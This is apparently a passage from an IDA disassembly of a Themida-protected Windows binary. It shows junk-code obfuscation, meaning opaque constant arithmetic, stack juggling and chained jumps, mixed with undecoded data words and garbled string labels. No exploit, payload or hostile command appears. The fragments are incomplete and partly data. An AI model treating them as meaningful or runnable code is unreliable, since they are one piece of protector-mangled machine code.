edx, [esp] add esp, 4 jmp loc_54608D ; --------------------------------------------------------------------------- dd 4C381h, 1C870000h, 5F095C24h, 241C8B1Ch, 0E904C483h dd 0FFFFFE3Ah, 2BCBE781h, 0DFF75A86h, 0EF81DFF7h, 3B92EB09h dd 315FF989h, 2434FFCFh, 4C48359h, 3C8BFD01h, 4C48324h dd 8704C583h, 248B242Ch, 2434FF24h, 582434FFh, 9A2AE9h dd 1C77FF00h, 6658669Dh, 9C240419h, 0FFFDF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_544D21: ; CODE XREF: Themida_:0054D3C3j add bl, al push eax mov ah, 3Eh sub bl, 0D8h add bl, ah add bl, 0D8h pop eax movzx eax, al jmp loc_54B798 ; --------------------------------------------------------------------------- db 55h dd 4BDh, 5DEA2900h, 0E9241487h, 0AE40h, 5C24048Fh, 54241489h dd 3A6CE9h, 2434FF00h, 0E92434FFh, 210Ch, 32243430h, 34302434h dd 4EC8124h, 89000000h, 68512404h, 0A8Ah, 88240489h, 58E588F4h dd 79CE9h db 0 ; --------------------------------------------------------------------------- loc_544D85: ; CODE XREF: Themida_:0054B1A5j add ebx, edx jmp loc_546876 ; --------------------------------------------------------------------------- dd 0C6801AB6h, 3C68031h, 96DE9h db 0 ; --------------------------------------------------------------------------- loc_544D99: ; CODE XREF: Themida_:00548C51j and ebx, 266013ABh xor ebx, 54755D62h sub eax, ebx jmp loc_54E371 ; --------------------------------------------------------------------------- loc_544DAC: ; CODE XREF: Themida_:005465CDj pop edi add ebx, edi jmp loc_54C4AC ; --------------------------------------------------------------------------- aSsa db 'SИ²~',0 align 2 dw 0BD55h dd 0F9E28A2h, 36FEE9h, 0C3815B00h, 4, 24BE950h, 8EBE0000h dd 5244AA21h, 7BFDE9h, 53EF0100h, 0E86643BBh, 3870E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544DEA: ; CODE XREF: Themida_:00547505j pop eax xchg ebx, [esp] pop esp push edi mov edi, 31A8797Ch or edi, 2803A7Fh not edi jmp loc_54C45C ; --------------------------------------------------------------------------- dw 0BA52h dd 13A56EC3h, 1C40C281h, 0F6E93C97h, 8B000073h, 0C4832404h dd 241C8B04h, 4C481h, 0C6010000h, 2C68358h, 8B243487h dd 0D3662424h, 0E99C242Ch, 0FFFFFCDAh ; --------------------------------------------------------------------------- loc_544E38: ; CODE XREF: Themida_:0054CB91j pop ecx sub dword ptr [esp], 4F425E12h sub [esp], edi add dword ptr [esp], 4F425E12h add dword ptr [esp], 29083700h push dword ptr [esp] jmp loc_545035 ; --------------------------------------------------------------------------- loc_544E59: ; CODE XREF: Themida_:0054A4DCj push edx mov edx, 4 add ebx, edx mov edx, [esp] push esi mov esi, esp add esi, 4 push ebp mov ebp, 4 jmp loc_54F925 ; --------------------------------------------------------------------------- dd 4B8505Dh, 1000000h, 24048BC5h, 8304C483h, 2C3304C5h dd 7DB5E924h, 665C0000h, 0E99CC83Bh, 0FFFFFC76h, 0C380C3FEh dd 285804B5h, 66582CD8h, 83241C8Bh, 166802C4h, 0E9000079h dd 61D4h, 0D008C4B8h, 7CF0505h, 68522F4Ah, 57601E2Bh, 0B3E2815Ah dd 0F762B625h, 64EA81D2h, 4A797972h, 0BF1CF281h, 0D0296055h dd 2625E9h, 81435D00h, 428019EBh, 0E9D989E2h, 40Ah, 8B242C33h dd 2C892424h, 3074BD24h, 0EDC137EEh, 9EC58107h, 21FF9024h dd 0BBE91C6Fh, 58000093h, 43DDE9h, 8BC52900h, 0C4832404h dd 0F9C68104h, 16C017Dh, 4AB1E9EEh, 53500000h, 0B64108BBh dd 96BEE92Bh, 0BF570000h, 763A75F7h db 0B9h, 3Fh word_544F42 dw 6AC8h ; DATA XREF: ___:off_435750o dd 5FF929DBh, 0B32E9h db 0 ; --------------------------------------------------------------------------- loc_544F4D: ; CODE XREF: Themida_:005480E5j ; Themida_:loc_550DE4j push 25BBh mov [esp], ebx push 61DFh mov [esp], ebx jmp loc_54FDD4 ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 4C581h, 0B9510000h, 2, 745EE9h, 665F6600h dd 6624048Fh, 8124348Bh, 2C4h, 93BEE900h, 0E94D0000h, 9FE0h dd 0E92434FFh, 46B2h, 190418B0h, 90E9D0F6h, 0AD0000ABh dd 1068D831h, 0E900002Dh, 3315h, 4EC81h, 34890000h, 68E68924h dd 73BEh, 68240C89h, 4, 59CE0159h, 5D5EE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544FD6: ; CODE XREF: Themida_:00546E12j push eax push ebx mov bh, cl mov ah, bh jmp loc_54B233 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C2414D3h, 0FFFB21E9h, 2434FFFFh db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_547F07 ; --------------------------------------------------------------------------- loc_545012: ; CODE XREF: Themida_:00547E15j add al, dl sub al, 14h pop edx push ebx jmp loc_54C1D2 ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0C3810000h, 3305458Bh, 3FFAEB81h, 0C3010DF5h, 9502E9h db 0 ; --------------------------------------------------------------------------- loc_545035: ; CODE XREF: Themida_:00544E54j pop edi add esp, 4 shl edi, 3 add edi, 0B7956308h and eax, edi mov edi, [esp] add esp, 4 jmp loc_54D311 ; --------------------------------------------------------------------------- dw 0C89h dd 0E9E18924h, 3C1Fh ; --------------------------------------------------------------------------- loc_54505C: ; CODE XREF: Themida_:0054EF31j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5489D0 ; --------------------------------------------------------------------------- db 4Ah dd 558EF281h, 0D7892455h, 8324148Bh, 8BE904C4h, 810000BBh dd 6F5972EAh, 4375E96Eh, 0AD050000h, 29513E2Ch, 2CA9E9C7h dd 0E95A0000h, 4CBEh ; --------------------------------------------------------------------------- loc_5450A0: ; CODE XREF: Themida_:005497C9j push edx mov dh, 2Fh jmp loc_54C469 ; --------------------------------------------------------------------------- loc_5450A8: ; CODE XREF: Themida_:0054FF8Dj or ebp, 1DF21664h push 0 jmp loc_55007F ; --------------------------------------------------------------------------- loc_5450B8: ; CODE XREF: Themida_:0054936Aj push esi push edx mov edx, 4E2671Bh add edx, 5FDC7F7Fh sub edx, 7E39375Eh xor edx, 0BF9A898Ch push edx sub dword ptr [esp], 2BDD438Dh pop esi add esi, 2BDD438Dh jmp loc_550D72 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 0ADCFE900h, 6FB90000h, 0C1484121h, 0B7E905E9h dd 3300001Bh, 0E95C242Ch, 122Bh, 4C181h, 0B8500000h, 4 dd 69E9C129h, 3100009Fh, 8AB9E9F2h, 38050000h, 0D72E22Ah dd 7DAC42BEh, 0E8C1D0F7h, 3DA6E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545136: ; CODE XREF: Themida_:0054CCFDj mov cl, 8Eh push 6595h mov [esp], edx mov dl, 57h and dl, 0BFh shr dl, 3 or dl, 0F3h sub dl, 1Ch xor dl, 0F8h add al, dl pop edx push cx mov ch, 60h sub al, ch pop cx sub al, 52h sub al, cl jmp loc_549EC0 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 8324248Bh, 0B85004C4h, 701C720Fh, 4EC81h, 0EAE90000h dd 8700005Dh, 665C241Ch, 6824048Bh, 7A41h, 54241C89h, 0FFFC30E9h db 0FFh ; --------------------------------------------------------------------------- loc_545195: ; CODE XREF: Themida_:005493DCj mov ecx, 41905E16h and ecx, 6A5C0C74h dec ecx jmp loc_549523 ; --------------------------------------------------------------------------- dw 0C483h dd 4A9DE904h, 48F0000h, 11B6824h, 7BE90000h, 5A00009Dh dd 17FFE9h, 242C3100h, 5C242C33h, 9C240CFEh, 0FFF941E9h dd 1F15BBFFh, 0E9552A6Ah, 803Bh, 8124048Bh, 4C4h, 66DBF600h dd 0E967B551h, 0B450h, 0FF2434FFh, 0E9592434h, 8145h ; --------------------------------------------------------------------------- loc_5451FC: ; CODE XREF: Themida_:00544C14j or ecx, 2AF82A23h add ecx, 187C537h jmp loc_546C11 ; --------------------------------------------------------------------------- loc_54520D: ; CODE XREF: Themida_:0054EDF1j xor eax, 75484216h sub esp, 4 mov [esp], edx push ebx mov ebx, 1000000h mov edx, ebx pop ebx and eax, edx push dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 push edx jmp loc_550041 ; --------------------------------------------------------------------------- db 89h dd 0EC812404h, 4, 0BA241489h, 4792682h, 54B95152h, 31096732h dd 5904244Ch, 32543558h, 59E90967h, 810000A4h, 7D02242Ch dd 835B7374h, 348904ECh, 7D02BE24h, 0A7E97374h, 0BE00008Ch dd 28E06BC3h, 13FFC681h, 0E956237Fh, 0B44Ah, 40437A05h dd 46E95312h, 81000087h, 607BE2EEh, 2434FF40h, 4C4835Dh dd 65A26851h, 1C890000h, 5E87E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452B2: ; CODE XREF: Themida_:0054C186j xor edx, 574E21B8h shl edx, 1 push edx jmp loc_54DA95 ; --------------------------------------------------------------------------- dd 849CC181h, 0CF89FD07h, 6D1AE9h db 0 ; --------------------------------------------------------------------------- loc_5452CD: ; CODE XREF: Themida_:005499C3j push eax mov eax, 8B87316h add eax, 1EA44443h sub eax, 1 sub eax, 27570C49h xor eax, 5E5FF344h add ebp, eax pop eax jmp loc_545D1D ; --------------------------------------------------------------------------- loc_5452EF: ; CODE XREF: Themida_:00548799j sub esi, 4 xchg esi, [esp] pop esp jmp loc_544B32 ; --------------------------------------------------------------------------- dw 1C8Bh aSN db '$И╩╜',0 align 2 loc_545306: ; CODE XREF: Themida_:0054682Ej xor edx, 1D86270Fh not edx jmp loc_545485 ; --------------------------------------------------------------------------- db 66h dd 5024148Bh, 0BA52E089h, 36D87EF2h, 2ECDE9h, 0E9C22900h dd 9CFFh, 5818ED81h, 0ED811401h, 190F4656h, 4EC81h, 14890000h dd 693CBA24h, 0F2814699h, 878057BFh, 148BD501h dword_545350 dd 4C48124h, 1000000h, 242C8BEAh, 2BB9E9h, 24343000h, 30243432h ; DATA XREF: ___:off_43CCE4o dd 0A3E92434h, 0B0FFFFF7h, 0E9D03088h, 66B0h, 71FE952h dd 895C0000h, 0E189240Ch, 4BE56h, 0F1010000h, 0B0E9565Eh dd 29000023h, 0E9EB81D3h, 0E952B562h, 3BBFh, 0D5F68h, 24148900h dd 0C2815A54h, 4, 4EA81h, 14330000h, 24143124h, 5C241433h dd 89243489h, 4B850E6h, 81000000h, 4357E8EEh, 0BA3DE93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5453D6: ; CODE XREF: Themida_:00546A6Cj mov eax, 7A017996h jmp loc_54CE85 ; --------------------------------------------------------------------------- dd 0F2805958h, 0E9D028E5h, 106Ah, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0E95C2414h, 564Eh, 0F281D2F7h, 312212E1h dd 0BE56DAF7h, 64D419B2h, 0E95EF231h, 81ADh ; --------------------------------------------------------------------------- loc_54541C: ; CODE XREF: Themida_:0054F6E9j mov edi, [esp] add esp, 4 sub eax, 15D93800h jmp loc_54C50C ; --------------------------------------------------------------------------- db 55h dd 4BDh, 5FA9E900h, 0D8290000h, 8904EC83h, 51BB241Ch, 0C1333233h dd 0EC8303E3h, 24048904h, 9C1E9h, 81D3F700h, 38269AEBh dd 5BDE01BCh, 8704EE83h, 0B4E92434h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54546B: ; CODE XREF: Themida_:00546CD8j add esp, 4 not ebx xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_550C29 ; --------------------------------------------------------------------------- aGqsia db '╩ц',8,'ёQИI═',0 db 0 ; --------------------------------------------------------------------------- loc_545485: ; CODE XREF: Themida_:0054530Ej inc edx shl edx, 5 sub edx, 0FFCB0149h add eax, edx pop edx sub eax, edx jmp loc_5488F8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd offset byte_5734E9 dd 0C0685300h, 0E9049233h, 0A333h, 4EC83ADh, 55240C89h dd 7B124A68h, 0DDF75D4Dh, 0D818ED81h, 0E9896667h, 8B2434FFh dd 0C481242Ch, 4, 0E9E18951h, 99B1h, 0FC00959h, 887D84h dd 4EC8100h, 89000000h, 1CB82404h, 2D000000h, 398714D7h dd 0D705F801h, 0FF398714h, 0BC48E930h, 0D7680000h, 5848A822h dd 0D8F7D0F7h, 2B11730Dh, 0CC07050Fh, 0C389B054h, 5BD82958h dd 5F9CE9h, 8BEC8800h, 1AE9240Ch, 0FE000001h, 0A0D0E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_545532: ; CODE XREF: Themida_:0054AC1Cj push edx mov edx, 54226DADh dec edx not edx add edx, 54226DB1h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] jmp loc_54A95F ; --------------------------------------------------------------------------- db 5Bh dd 0D8286404h, 97D8E9h, 4EA8100h, 33000000h, 17E92414h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545567: ; CODE XREF: Themida_:0054FF82j add edx, ebx mov ebx, [esp] add esp, 4 mov eax, edx pop edx push edi jmp loc_54A461 ; --------------------------------------------------------------------------- loc_545578: ; CODE XREF: Themida_:005508BEj add esp, 4 push esi pop eax mov esi, [esp] jmp loc_548C33 ; --------------------------------------------------------------------------- dd 8108EAC1h, 94468AC2h, 30F2817Ah, 814C8852h, 69552AF2h dd 5AD6296Fh, 8904EC83h, 0B951243Ch, 7FF82C45h, 850C181h dd 0BE56352Dh, 51371B54h, 0E2E68146h, 0E9223139h, 7524h dd 6DD5E954h, 0E7BF0000h, 81253948h, 0CD7A43C7h, 0E9D7F71Ah dd 5F58h ; --------------------------------------------------------------------------- loc_5455DC: ; CODE XREF: Themida_:0054B041j shr edx, 1 cmp eax, edx jz loc_5458B3 push eax mov eax, 5F95082Bh jmp loc_549CD7 ; --------------------------------------------------------------------------- loc_5455F1: ; CODE XREF: Themida_:0054EE1Aj sub ecx, 74B83B85h jmp loc_54EB5F ; --------------------------------------------------------------------------- loc_5455FC: ; CODE XREF: Themida_:00549544j mov [esp], ebx push dword ptr [esp] jmp loc_54751A ; --------------------------------------------------------------------------- loc_545607: ; CODE XREF: Themida_:00550A7Dj push 5616h mov [esp], edx jmp loc_55035A ; --------------------------------------------------------------------------- loc_545614: ; CODE XREF: Themida_:0054588Bj pop eax sub bl, dl add bl, 0F2h pop dx sub bl, 51h sub bl, 0DEh sub bl, cl add bl, 0DEh add bl, 51h jmp loc_5503C3 ; --------------------------------------------------------------------------- db 81h dd 555803F1h, 59CB8910h, 4171E956h, 0D6F60000h, 0FFF503E9h dd 9AE955FFh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54564B: ; CODE XREF: Themida_:0054877Cj sub esp, 4 mov [esp], eax jmp loc_545A38 ; --------------------------------------------------------------------------- db 5Ch, 21h, 4 dd 0AFE99C24h, 0B8FFFFF4h, 4, 8158C689h, 9C2930C7h, 49E5E91Ah dd 65BB0000h, 0E905274Ch, 5110h, 7D3B68h, 24148900h, 4A2EE9h dd 7365BD00h, 0C14D48C1h, 0F58103EDh, 313914BDh, 8108EDC1h dd 2E2C77F5h, 0E9EA310Fh, 34ACh ; --------------------------------------------------------------------------- loc_5456AC: ; CODE XREF: Themida_:00544C4Cj shr eax, 12h jmp loc_54EAB0 ; --------------------------------------------------------------------------- loc_5456B4: ; CODE XREF: Themida_:00549436j push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54D459 ; --------------------------------------------------------------------------- loc_5456D0: ; CODE XREF: Themida_:00546323j mov dh, 5Ah dec dh or dh, 7 add dh, 10h sub dh, 82h inc dh jmp loc_54DBF6 ; --------------------------------------------------------------------------- aNuhid db '╜Uh┴D',0 dw 8900h dd 0E1E92404h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5456F3: ; CODE XREF: Themida_:0054E736j pop eax add [esp+4], eax jmp loc_54612F ; --------------------------------------------------------------------------- db 1, 4, 24h aRslb db 'RИl│',0 align 2 dw 0E6C0h dd 22C68008h, 0EE80D6F6h, 5AF32853h, 800CC380h, 83E975EBh db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54571F: ; CODE XREF: Themida_:0054DECBj add esp, 4 pop edx push eax mov eax, 40B51142h add eax, 0EFA0F37Fh sub edx, eax pop eax pop eax loc_545735: ; CODE XREF: Themida_:00545A5Ej ; Themida_:loc_54C741j push ebx jmp loc_54EA92 ; --------------------------------------------------------------------------- loc_54573B: ; CODE XREF: Themida_:00547021j pop eax xor ebp, 2EDD58D7h jmp loc_54B16E ; --------------------------------------------------------------------------- db 68h dd 1A8Ch, 0B4240489h, 2824B3A6h, 0F38058E3h, 2A5BE971h dd 2D580000h, 73564773h, 0A02DD8F7h, 891BB908h, 0EB8158C1h dd 574B104Eh, 0C381CB29h, 574B104Eh, 83240C8Bh, 5A6804C4h dd 8900007Bh, 0E952241Ch, 0ADB8h, 8106E1C1h, 0EA1CCBC1h dd 1FA56851h, 4890000h, 3E2F6824h, 31587466h, 0BA5258C1h dd 56B416F6h, 6EEE281h, 814A088Ah, 155B2CF2h, 0C2814228h dd 37D0EAECh, 5D3FE9h db 0 ; --------------------------------------------------------------------------- loc_5457C9: ; CODE XREF: Themida_:0054FA77j xor ecx, 5611E986h add eax, ecx pop ecx jmp loc_547697 ; --------------------------------------------------------------------------- loc_5457D7: ; CODE XREF: Themida_:0054A412j xchg ebp, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_54BD34 ; --------------------------------------------------------------------------- a_su db '_ИU!',0 db 0 ; --------------------------------------------------------------------------- loc_5457F3: ; CODE XREF: Themida_:0054C255j push ecx push edx mov edx, 11304608h xor edx, 615D6123h shl edx, 2 xor edx, 7D990976h push ebp mov ebp, edx mov ecx, ebp pop ebp jmp loc_54AD80 ; --------------------------------------------------------------------------- dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 87000000h, 565C2404h dd 24348B54h, 49F1E9h, 5C73BE00h, 8AE956F6h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54583F: ; CODE XREF: Themida_:0054EEE1j push edx jmp loc_54ED25 ; --------------------------------------------------------------------------- db 0B8h, 0ABh, 1 aSX1ssum db 'А$)еX1ХИНm',0 align 4 loc_545854: ; CODE XREF: Themida_:00547F5Fj add dh, bh sub dh, 0E6h pop ebx add al, dh pop edx sub esp, 4 mov [esp], ebx jmp loc_550CB6 ; --------------------------------------------------------------------------- loc_545868: ; CODE XREF: Themida_:00549315j or ch, 69h inc ch shr ch, 8 xor ch, 86h jmp loc_54ADBA ; --------------------------------------------------------------------------- dd 95E90389h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54587F: ; CODE XREF: Themida_:0054CF1Aj push dx mov dl, 6Bh push eax mov ah, 33h sub ah, 41h sub bl, ah jmp loc_545614 ; --------------------------------------------------------------------------- dd 604A34BBh, 5BDD012Dh, 0FFF6F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54589D: ; CODE XREF: Themida_:0054D2DDj mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_5458B3: ; CODE XREF: Themida_:005455E0j ; Themida_:loc_54F51Cj push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_54EE3C ; --------------------------------------------------------------------------- dw 3481h dd 5E621424h, 0B4DEE908h, 34FF0000h, 0A1E95824h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5458DF: ; CODE XREF: Themida_:0054CB7Bj mov edi, 4 sub eax, edi pop edi xchg eax, [esp] pop esp mov [esp], ebx push eax push 55B03793h mov eax, [esp] add esp, 4 add eax, 2654634Ah shl eax, 5 and eax, 5CAF75E7h jmp loc_549E86 ; --------------------------------------------------------------------------- db 2Ch dd 0E9812CDEh, 4DFFh, 0B6A8E946h, 0B9510000h, 70F708A9h dd 0F707E1C1h, 4EC81D9h, 89000000h, 7BF243Ch, 0E9790360h dd 9618h, 0FFF1D1E9h, 2C9725FFh, 822D7DD1h, 0E9680020h dd 3E01h, 0A8DCE953h, 0E95B0000h, 0B70h, 8D242C81h, 0E902E82Dh dd 945Ch, 0C1D1F75Ah, 6808E1h, 81000000h, 31B12404h, 2C815A4Bh dd 4E0A2324h, 409E90Ch, 0C6810000h, 4, 31243433h, 34332434h dd 0A7E0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54599A: ; CODE XREF: Themida_:0054C113j mov ecx, 29F81F0Ch and ecx, 1000674Fh xor ecx, 46B625C0h xor ecx, 0D234DF29h add edi, ecx pop ecx add ebp, edi mov edi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 0D0361FCh add ecx, 3EF742ADh add ecx, 50530E14h not ecx add ecx, 9C4DB2C2h add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp add ebp, 2 xchg ebp, [esp] pop esp add bl, al add bl, 0CFh movzx eax, al jmp loc_548A85 ; --------------------------------------------------------------------------- db 50h dd 42474FFh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_54A2A4 ; --------------------------------------------------------------------------- dd 815DEB31h, 772A9CE3h, 81DBF707h, 0B2BFB1EBh, 5BD98991h dd 72EABB53h, 0E95363D1h, 7012h ; --------------------------------------------------------------------------- loc_545A38: ; CODE XREF: Themida_:00545654j mov eax, 66683036h jmp loc_547F87 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0E9240C87h, 1FDAh ; --------------------------------------------------------------------------- loc_545A50: ; CODE XREF: Themida_:0054CEDEj sub ebp, edx pop edx xor ebp, 0EA52509Bh and eax, ebp pop ebp or eax, eax jz loc_545735 push 6263h mov [esp], edx jmp loc_54830A ; --------------------------------------------------------------------------- loc_545A71: ; CODE XREF: Themida_:005485EAj add ebp, 4 xchg ebp, [esp] jmp loc_54A0C8 ; --------------------------------------------------------------------------- aBs4S db '│И4%Й\И(╟',0 align 2 dw 8B66h dd 5453240Ch, 4EC835Bh, 52240C89h, 0EC9E9h, 8059B200h dd 0CA807FEAh, 6EE28056h, 533FC280h, 58D0E9h db 0 ; --------------------------------------------------------------------------- loc_545AB1: ; CODE XREF: Themida_:00551187j push 1F705DE8h pop edi shr edi, 4 push edx mov edx, 4DA02306h dec edx xor edx, 27604C3Ch xor edi, edx pop edx push eax jmp loc_550B49 ; --------------------------------------------------------------------------- loc_545AD0: ; CODE XREF: Themida_:0054619Cj add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ecx jmp loc_550535 ; --------------------------------------------------------------------------- dd 565FFD01h, 86211CBEh, 0DEF74E38h, 724FE681h, 0BB5354AEh dd 38DD4453h, 0F212EB81h, 0DE31F4B4h, 0E9F5295Bh, 7F8h dd 2434FF58h, 44E2685Bh, 0C890000h, 57595424h, 0C01221BFh dd 0D1D7F759h, 3EB850E7h, 0C1051777h, 0F9E902E0h, 1000032h dd 20E95AD5h, 89000050h, 56532404h, 3579B6BEh, 0CFC6814Fh dd 811C4505h, 7A7F81EEh, 5E5B566Bh, 0F2B1E953h, 5653FFFFh dd 8DFEE9h, 0E9E5D100h, 9EE0h, 5C24048Fh, 55B3BF57h, 0E7817AD0h dd 1705A7Ah, 8106E7C1h, 6210E5F7h, 0C0BE5643h, 4E1DDA57h dd 0A802E9h, 4EC8300h, 0BD242C89h, 400h, 8969E9h db 0 ; --------------------------------------------------------------------------- loc_545BA5: ; CODE XREF: Themida_:005471E8j mov eax, 5B5033CAh neg eax inc eax sub eax, 4680B98Eh mov edi, eax pop eax not edi inc edi sub edi, 2FC3449Ah jmp loc_54FE91 ; --------------------------------------------------------------------------- db 58h dd 0FFF798E9h db 0FFh ; --------------------------------------------------------------------------- loc_545BC9: ; CODE XREF: Themida_:0054AE2Dj not edx shr edx, 6 add edx, 0FCDB44D7h mov ebx, edx jmp loc_5500FE ; --------------------------------------------------------------------------- db 1 dd 3EBE56D0h, 8177217Fh, 4C113FF6h, 28ABE91Bh, 66640000h dd 6602B60Fh, 6645F368h, 0E9240489h, 0FFFFEF12h, 0E8B25250h dd 8002C280h, 0EA8075CAh, 80D2F6E1h, 0D0883CF2h, 33E1E9h dd 5BD82900h, 458EE9h db 0 ; --------------------------------------------------------------------------- loc_545C21: ; CODE XREF: Themida_:0054B484j shl edi, 1 or edi, 35B61B17h inc edi push eax jmp loc_54CC6E ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 4890000h, 48B5424h, 4C48324h, 405h dd 2C08300h, 87A68h, 241C8900h, 9B4E9h, 52E18900h, 48C6E9h dd 48B6600h, 8B545624h, 0C4832434h, 94BCE904h, 2C870000h dd 9292E924h, 1580000h, 0AEF3E9EFh, 3C8B0000h, 4C48124h dd 53000000h, 0B42E9h, 2434FF00h, 8124048Bh, 4C4h, 1B1B6800h dd 14890000h, 148B5424h, 5B545324h, 4C381h, 34E90000h dd 1000037h, 8CBCE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545CBE: ; CODE XREF: Themida_:0054C6D7j xor ebx, [esp] jmp loc_5506E9 ; --------------------------------------------------------------------------- aSJ db '\Иэ├',0 align 4 loc_545CCC: ; CODE XREF: Themida_:00549119j pop edi shl ebx, 2 and ebx, 538170D0h add ebx, 0ED7E9FB4h add esi, ebx jmp loc_547182 ; --------------------------------------------------------------------------- db 1 aSC db 'пИЁ≈',0 align 2 dw 0EC83h dd 240C8904h, 755521B9h, 59CB3144h, 0C6E9DF01h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545CFF: ; CODE XREF: Themida_:0054FAB5j mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push ebx jmp loc_54F559 ; --------------------------------------------------------------------------- aXsji db 'XИJi',0 db 0 ; --------------------------------------------------------------------------- loc_545D1D: ; CODE XREF: Themida_:005452EAj push ebx mov ebx, 0C3F58173h xor ebp, ebx pop ebx add edx, ebp jmp loc_54FF99 ; --------------------------------------------------------------------------- loc_545D2D: ; CODE XREF: Themida_:00550000j mov ch, 0A0h jmp loc_55024E ; --------------------------------------------------------------------------- dd 8904EC83h, 58542404h, 405h, 0B3E5E900h, 30AC0000h, 665152D8h dd 0C98B050h, 0F6E624BAh, 0E9D0F6D8h, 1002h, 0E5E9FBB0h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545D63: ; CODE XREF: Themida_:005496ABj push dword ptr [esp] jmp loc_547363 ; --------------------------------------------------------------------------- db 68h dd 6D3Ah, 54243489h, 3E5EE9h db 0 ; --------------------------------------------------------------------------- loc_545D79: ; CODE XREF: Themida_:00550B67j mov eax, edx pop edx push esi mov esi, 0EF728AEh mov edx, esi pop esi xor edx, eax mov eax, [esp] jmp loc_54C183 ; --------------------------------------------------------------------------- db 29h dd 481240Ch, 4E0A2324h, 242C810Ch, 5A4B31B1h, 94DDE9h dd 0EFB85000h, 0BA232C66h, 4E5C42A8h, 5158C231h, 6C1BA52h dd 0D1895035h, 0C1D9F75Ah, 0E18108E1h, 2A663B30h, 5365E9h dd 0ED40E900h, 8B5FFFFFh, 0C4832404h, 67913504h, 95A430Dh dd 0E9581C47h, 0FFFFED2Ah, 579FC681h, 0C8B2198h, 4C48324h dd 4B8C68h, 24348900h, 42474FFh, 24048F5Eh, 240CD25Ch dd 0ED04E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545E0E: ; CODE XREF: Themida_:0054A0F7j xor dh, 1 jmp loc_549608 ; --------------------------------------------------------------------------- dw 6853h dd 40A7592Dh, 5B1CB85Bh, 0D829439Dh, 25D8F75Bh, 68020958h dd 8E7DE9h db 0 ; --------------------------------------------------------------------------- loc_545E31: ; CODE XREF: Themida_:0054AEFFj or eax, 22567B0Bh dec eax jmp loc_54CE77 ; --------------------------------------------------------------------------- loc_545E3C: ; CODE XREF: Themida_:00546189j mov eax, [esp] push edi jmp loc_550370 ; --------------------------------------------------------------------------- loc_545E45: ; CODE XREF: Themida_:0054D536j add eax, edi add eax, 25E614DEh pop edi xchg eax, [esp] pop esp add esp, 4 jmp loc_54B51E ; --------------------------------------------------------------------------- aUstk db '^UИt┼',0 db 0 ; --------------------------------------------------------------------------- loc_545E63: ; CODE XREF: Themida_:00547C40j push ecx push 27C050D2h pop ecx jmp loc_54EF12 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 689Bh, 54240489h, 9464E9h, 34FF5400h, 2D04E924h dd 248B0000h, 890FE924h, 0F4BD0000h, 0C1297D46h, 0ED8105E5h dd 0C046D501h, 96E95155h, 0F700008Eh, 315B2414h, 5724E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545EB2: ; CODE XREF: Themida_:0054C73Cj jmp loc_544B12 ; --------------------------------------------------------------------------- db 87h dd 96EE81CEh, 1121369h, 0EF835EF7h, 243C3304h, 33243C31h dd 248B243Ch, 24148924h, 37E99C50h, 46FFFFECh, 29C681h dd 0F389363Fh, 1024E9h, 48F5F00h, 2EC9E924h, 0C5830000h dd 242C3304h, 33242C31h, 248B242Ch, 2434FF24h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D7F7 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 52BDB850h, 0BC0D51E3h, 0D15A6631h, 1BDE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545F2E: ; CODE XREF: Themida_:00547E81j add edx, esi pop esi add edx, 2 